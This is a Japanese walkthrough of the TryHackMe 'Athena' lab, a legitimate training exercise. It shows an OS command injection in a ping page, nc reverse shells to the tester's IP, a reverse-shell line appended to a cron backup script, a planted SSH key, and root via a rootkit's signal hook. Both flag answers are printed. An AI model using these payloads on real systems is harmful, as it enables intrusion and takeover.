【TryHackMe】Athena：Walkthrough

# 概要

TryHackMe「Athena」のWalkthroughです。

https://tryhackme.com/r/room/4th3n4

# Task1

## **Q1**.*What is the user flag?*

ポートスキャンを実行します。

```
$ nmap -Pn -T4 -sVC -A --min-rate 5000 -p- 10.10.144.85 -oN nmap_result
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 3b:c8:f8:13:e0:cb:42:60:0d:f6:4c:dc:55:d8:3b:ed (RSA)
|   256 1f:42:e1:c3:a5:17:2a:38:69:3e:9b:73:6d:cd:56:33 (ECDSA)
|_  256 7a:67:59:8d:37:c5:67:29:e8:53:e8:1e:df:b0:c7:1e (ED25519)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Athena - Gods of olympus
|_http-server-header: Apache/2.4.41 (Ubuntu)
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time: 
|   date: 2024-10-16T13:59:14
|_  start_date: N/A
|_clock-skew: -1s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: ROUTERPANEL, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 8.2p1|
|80|http|Apache httpd 2.4.41|
|139|smb|smbd 4.6.2|
|445|smb|smbd 4.6.2|

SMBの列挙をします。

```
$ enum4linux -a 10.10.144.85
 =================================( Share Enumeration on 10.10.144.85 )=================================
                                                                                                                            
smbXcli_negprot_smb1_done: No compatible protocol selected by server.                                                       

        Sharename       Type      Comment
        ---------       ----      -------
        public          Disk      
        IPC$            IPC       IPC Service (Samba 4.15.13-Ubuntu)
Reconnecting with SMB1 for workgroup listing.
Protocol negotiation to server 10.10.144.85 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available

[+] Attempting to map shares on 10.10.144.85                                                                                
                                                                                                                            
//10.10.144.85/public   Mapping: OK Listing: OK Writing: N/A
```

共有名`public`が見つかったのでアクセスすると`msg_for_administrator.txt`を発見しました。
ダウンロードします。

```
$ smbclient //10.10.144.85/public
Password for [WORKGROUP\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sun Apr 16 20:54:43 2023
  ..                                  D        0  Sun Apr 16 20:54:05 2023
  msg_for_administrator.txt           N      253  Sun Apr 16 14:59:44 2023
```

```msg_for_administrator.txt
Dear Administrator,

I would like to inform you that a new Ping system is being developed and I left the corresponding application in a specific path, which can be accessed through the following address: /myrouterpanel

Yours sincerely,

Athena
Intern
```

`/myrouterpanel`パスを発見しました。
`80`ポートにアクセスします。

![ping tool.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/428d2994-cdd9-3d80-89da-27a37e2a3b52.jpeg)

入力したアドレスに`ping`を送れるようになっています。

![ping.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/b9f02bbb-332e-fc21-d562-492dba40590f.jpeg)

OSコマンドインジェクションが出来そうです。
ペイロードは下記リポジトリを使用しました。

https://github.com/payloadbox/command-injection-payload-list

ペイロード`%0Acat%20%2fetc%2fpasswd`で`/etc/passwd`ファイルが読み取れ、OSコマンドインジェクションが成功したと分かりました。

![os i.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/d251221a-f9c3-b175-9934-5bbd573a96d2.jpeg)

`ip=%0A/usr/bin/nc+-c+/usr/bin/bash+<ip>+<port>&submit=`を送信してリバースシェルを張れました。

```
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.144.85] 56718
whoami
www-data
```

TTYの設定をします。

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@routerpanel:/var/www/html/myrouterpanel$
```

`athena`アカウントへの権限昇格を目指します。

```
$ ls -la /home
total 16
drwxr-xr-x  4 root   root   4096 Apr 16  2023 .
drwxr-xr-x 20 root   root   4096 Apr 16  2023 ..
drwx------ 17 athena athena 4096 Jul 31  2023 athena
drwx------ 15 ubuntu ubuntu 4096 May 23  2023 ubuntu
```

プロセスを確認すると`/usr/share/backup/backup.sh`が`athena`アカウントで実行されています。

```
$ ./pspy32
2024/10/17 08:14:00 CMD: UID=1001  PID=1229   | /bin/bash /usr/share/backup/backup.sh
```

```/usr/share/backup/backup.sh
#!/bin/bash

backup_dir_zip=~/backup

mkdir -p "$backup_dir_zip"

cp -r /home/athena/notes/* "$backup_dir_zip"

zip -r "$backup_dir_zip/notes_backup.zip" "$backup_dir_zip"

rm /home/athena/backup/*.txt
rm /home/athena/backup/*.sh

echo "Backup completed..."
```

`www-data`で書き込み権限があります。

```
$ ls -la /usr/share/backup/backup.sh
-rwxr-xr-x 1 www-data athena 258 May 28  2023 /usr/share/backup/backup.sh
```

リバースシェルのペイロードを追記します。

```
$ echo "/usr/bin/nc -c /usr/bin/bash 10.6.55.144 12345" >> /usr/share/backup/backup.sh
```

```/usr/share/backup/backup.sh
$ cat backup.sh
cat backup.sh
#!/bin/bash

backup_dir_zip=~/backup

mkdir -p "$backup_dir_zip"

cp -r /home/athena/notes/* "$backup_dir_zip"

zip -r "$backup_dir_zip/notes_backup.zip" "$backup_dir_zip"

rm /home/athena/backup/*.txt
rm /home/athena/backup/*.sh

echo "Backup completed..."
/usr/bin/nc -c /usr/bin/bash 10.6.55.144 12345
```

`athena`アカウントのシェルを取得できました。

```
$ nc -lvnp 12345
listening on [any] 12345 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.144.85] 59270
whoami
athena
```

TTYの設定をします。

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
athena@routerpanel:/$
```

`/home/athena/.ssh`に秘密鍵と公開鍵を発見しました。

```
athena@routerpanel:~$ ls -la .ssh/
ls -la .ssh/
total 16
drwx------  2 athena athena 4096 Apr 17  2023 .
drwx------ 17 athena athena 4096 Jul 31  2023 ..
-rw-rw-r--  1 athena athena    0 Apr 17  2023 authorized_keys
-rw-------  1 athena athena 2602 Apr 17  2023 id_rsa
-rw-r--r--  1 athena athena  572 Apr 17  2023 id_rsa.pub
```

`.ssh/authorized_keys`に公開鍵を追記します。

```
athena@routerpanel:~$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC58zqlfq1I8RHFyz1TAb+URJZioUvcBtuyKLWAP++luiRL1UT4+CElSEHCr5GyNOyIVGtTAu4os4TvK7PCCkrFmMygYoHvr+8X2khx+2HU6khgiTznM6uGakDuHhVCBf83aiRdcgk9Lh7TOsWi4drbqngFMzA/ecM7EvkkneygPnURBqb46T4jVubEBjahHbwBSPm1shC6/nAcJ9dmOsRIbf/VJy6aXkV/K87RzePz8Fqb485UjTM0G2jhq4KbcWM6xLQoEB6P2FrRnNh8ItDbmcK+G35n16Hr/KyT8BD0H4vbVQRzwTGYr6kJxUtSwO/VBE0QifEzkOaRkSLvRdBErRFqJ6yHeaDiG2SVsT0Q3rmpqc3Og8dHAEhEYokbeI/Ftl5yGvPVgZ4Bzpsve+4mvgk9wksBMMUiim0KqZe70N2oQwu1cBNGd7y+g9YI5N8JfcCW28Jks2rJ0i/3HjlYKVJGpuISwDSJwaYiGjF9551B+C1LvWdRUeaUpxm0h60= athena@routerpanel" >> .ssh/authorized_keys
<xm0h60= athena@routerpanel" >> .ssh/authorized_keys
```

秘密鍵で`athena`アカウントにSSH接続できました。

```
$ ssh -i id_rsa athena@10.10.144.85
athena@routerpanel:~$
```

`/home/athena/user.txt`からユーザーフラグを入手できました。

```/home/athena/user.txt
857c4a4fbac638afb6c7ee45eb3e1a28
```

**A**.**857c4a4fbac638afb6c7ee45eb3e1a28**

## **Q2**.*What is the root flag?*

`sudo -l`で確認します。

```
$ sudo -l
Matching Defaults entries for athena on routerpanel:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User athena may run the following commands on routerpanel:
    (root) NOPASSWD: /usr/sbin/insmod /mnt/.../secret/venom.ko
```

`insmod`コマンドで`venom.ko`モジュールファイルをロードしています。
`venom.ko`ファイルの情報を確認します。

```
$ modinfo /mnt/.../secret/venom.ko 
filename:       /mnt/.../secret/venom.ko
description:    LKM rootkit
author:         m0nad
license:        Dual BSD/GPL
srcversion:     93A81462832D4CF52F916D7
depends:        
retpoline:      Y
name:           venom
vermagic:       5.15.0-69-generic SMP mod_unload modversions
```

`m0nad`,`LKM rootkit`という情報を得られたので検索すると下記リポジトリを発見しました。

https://github.com/m0nad/Diamorphine

任意のPIDにシグナル64を送信するとroot権限を取得できるようです。
ですが、実際にはroot権限を取得できませんでした。

```
$ sudo /usr/sbin/insmod /mnt/.../secret/venom.ko
$ sleep 10 &
[1] 1755
$ kill -64 1755
$ id
uid=1001(athena) gid=1001(athena) groups=1001(athena)
[1]+  Real-time signal 30     sleep 10
```

`/mnt/.../secret/venom.ko`をGhidraで解析します。

![send sig.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/3771badd-6861-558b-b14a-5436a981b59a.jpeg)

`hacked_kill`関数を見るとシグナル`0x39(10進数で57)`が送信されると`give_root()`が実行され、権限昇格できるように書き換えられています。

コマンドを実行するとroot権限に昇格できました。

```
$ kill -57 1846
$ id
uid=0(root) gid=0(root) groups=0(root),1001(athena)
```

`/root/root.txt`からルートフラグを入手できます。

```/root/root.txt
aecd4a3497cd2ec4bc71a2315030bd48
```

**A**.**aecd4a3497cd2ec4bc71a2315030bd48**